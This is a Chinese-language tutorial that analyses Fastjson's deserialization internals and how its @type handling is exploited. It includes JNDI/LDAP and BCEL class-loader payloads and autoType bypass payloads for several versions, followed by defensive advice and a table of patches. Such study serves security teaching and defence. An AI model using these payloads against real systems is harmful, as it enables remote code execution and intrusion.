Fastjson从原理到利用
字数 1823 2025-08-11 08:36:02
Fastjson从原理到利用深度解析
一、Fastjson基础概述
Fastjson是阿里巴巴的开源JSON解析库,主要功能包括:
- 解析JSON格式字符串
- 将Java Bean序列化为JSON字符串
- 从JSON字符串反序列化到JavaBean
基本使用示例:
public class FastJsonDemo1 {
public static void main(String[] args) {
User user = new User("tom",12);
String s = JSON.toJSONString(user); // 序列化
System.out.println(s);
User parse = (User) JSON.parseObject(s, User.class); // 反序列化
}
}
关键特性:
- 序列化时调用getter方法获取值
- 反序列化时通过setter方法给对象赋值
二、核心源码解析
1. 主要接口类
JSON类提供静态方法封装,主要分为:
- 序列化方法:
toJsonString、writeJsonString等 - 反序列化方法:
Parse、ParseObject、toJson等
反序列化方法特点:
Parse:返回Object类型,若字符串中存在@type指定类型则强转ParseObject:返回类型由参数指定,未指定则转为JsonObject并调用所有getter方法
2. DefaultJSONParser解析器
作为fastjson核心解析器,与JSONScanner组合实现JSON字符串解析:
初始化过程:
public DefaultJSONParser(final String input, final ParserConfig config, int features){
this(input, new JSONScanner(input, features), config);
}
解析调度方法parse(Object fieldName)根据token类型调用对应解析方法:
LBRACE({) →parseObjectLBRACKET([) →parseArray- 其他基础类型直接返回
3. 对象解析流程
- 以键值对方式循环解析
- 遇到
@type属性时:if (key == JSON.DEFAULT_TYPE_KEY && !lexer.isEnabled(Feature.DisableSpecialKeyDetect)) { String typeName = lexer.scanSymbol(symbolTable); Class<?> clazz = TypeUtils.loadClass(typeName, config.getDefaultClassLoader()); // ... } - 创建实例并赋值属性
4. Deserializer获取机制
调用链:
getDeserializer(Type type) → getDeserializer((Class<?>) type, type) → createJavaBeanDeserializer()
JavaBeanInfo.build()过程:
- 获取所有字段和public方法
- 三次循环:
- 获取setter方法(方法名≥4,非静态,set开头等)
- 获取public static字段
- 获取getter方法(方法名≥4,非静态,get开头等)
三、漏洞利用原理
1. 攻击面分析
关键调用点:
- 反序列化时通过
@type实例化类并调用setter方法 toJson()时调用所有getter方法key.toString()可能调用相关getter
2. JdbcRowSetImpl链
利用点:
setAutoCommit() → connect() → JNDI注入
Payload:
{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap://127.0.0.1:1389/Basic/Command/calc",
"autoCommit":false
}
利用条件:
- 机器能出网
- JDK < 8u191
3. BasicDataSource链
利用点:
getConnection() → createDataSource() → createConnectionFactory() → Class.forName()
结合BCEL ClassLoader加载恶意类:
// BCEL ClassLoader关键代码
if(class_name.indexOf("
$$
BCEL
$$
") >= 0) {
clazz = createClass(class_name); // 解码并加载Class
}
Payload结构:
{
"@type":"com.alibaba.fastjson.JSONObject",
"xxx":{
"@type":"org.apache.tomcat.dbcp.dbcp.BasicDataSource",
"driverClassLoader":{
"@type":"com.sun.org.apache.bcel.internal.util.ClassLoader"
},
"driverClassName":"
$$
BCEL$..."
}
}
利用条件:
- 需要触发getter方法(toString/toJson)
- 依赖tomcat-dbcp
- JDK < 8u251
四、版本更新与绕过
1. 1.2.25修复
- 添加
checkAutoType()黑白名单检查 - 新增
autoTypeSupport(默认false)
2. 1.2.33绕过
利用缓存检查顺序:
// 1.2.33+黑名单检查
if (className.startsWith(deny) && TypeUtils.getClassFromMapping(typeName) == null)
通用绕过Payload:
[
{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap://127.0.0.1:1389/Basic/Command/calc",
"autoCommit":false
}
]
3. 1.2.37修复
移除ParseObject中的key.toString()调用
4. 1.2.47绕过
利用MiscCodec缓存:
{
{"@type":"java.lang.Class","val":"org.apache.tomcat.dbcp.dbcp.BasicDataSource"}:"aaa",
{"@type":"java.lang.Class","val":"com.sun.org.apache.bcel.internal.util.ClassLoader"}:"bbb",
{"@type":"com.alibaba.fastjson.JSONObject","xxx":{
"@type":"org.apache.tomcat.dbcp.dbcp.BasicDataSource",
"driverClassLoader":{"@type":"com.sun.org.apache.bcel.internal.util.ClassLoader"},
"driverClassName":"
$$
BCEL$aaa"
}}:"bbb"
}
五、防御建议
- 升级到最新安全版本
- 关闭
autoTypeSupport - 设置严格的白名单
- 对反序列化类进行校验
附录:关键版本修复对比
| 版本变更 | 主要修复内容 |
|---|---|
| 1.2.24→1.2.25 | 新增checkAutoType黑白名单检查 |
| 1.2.32→1.2.33 | 修改checkAutoType缓存检查顺序 |
| 1.2.36→1.2.37 | 移除ParseObject中的key.toString调用 |
| 1.2.41→1.2.42 | 黑名单改为hashcode,新增三个java.util包限制 |
| 1.2.47→1.2.48 | 修复MiscCodec缓存问题 |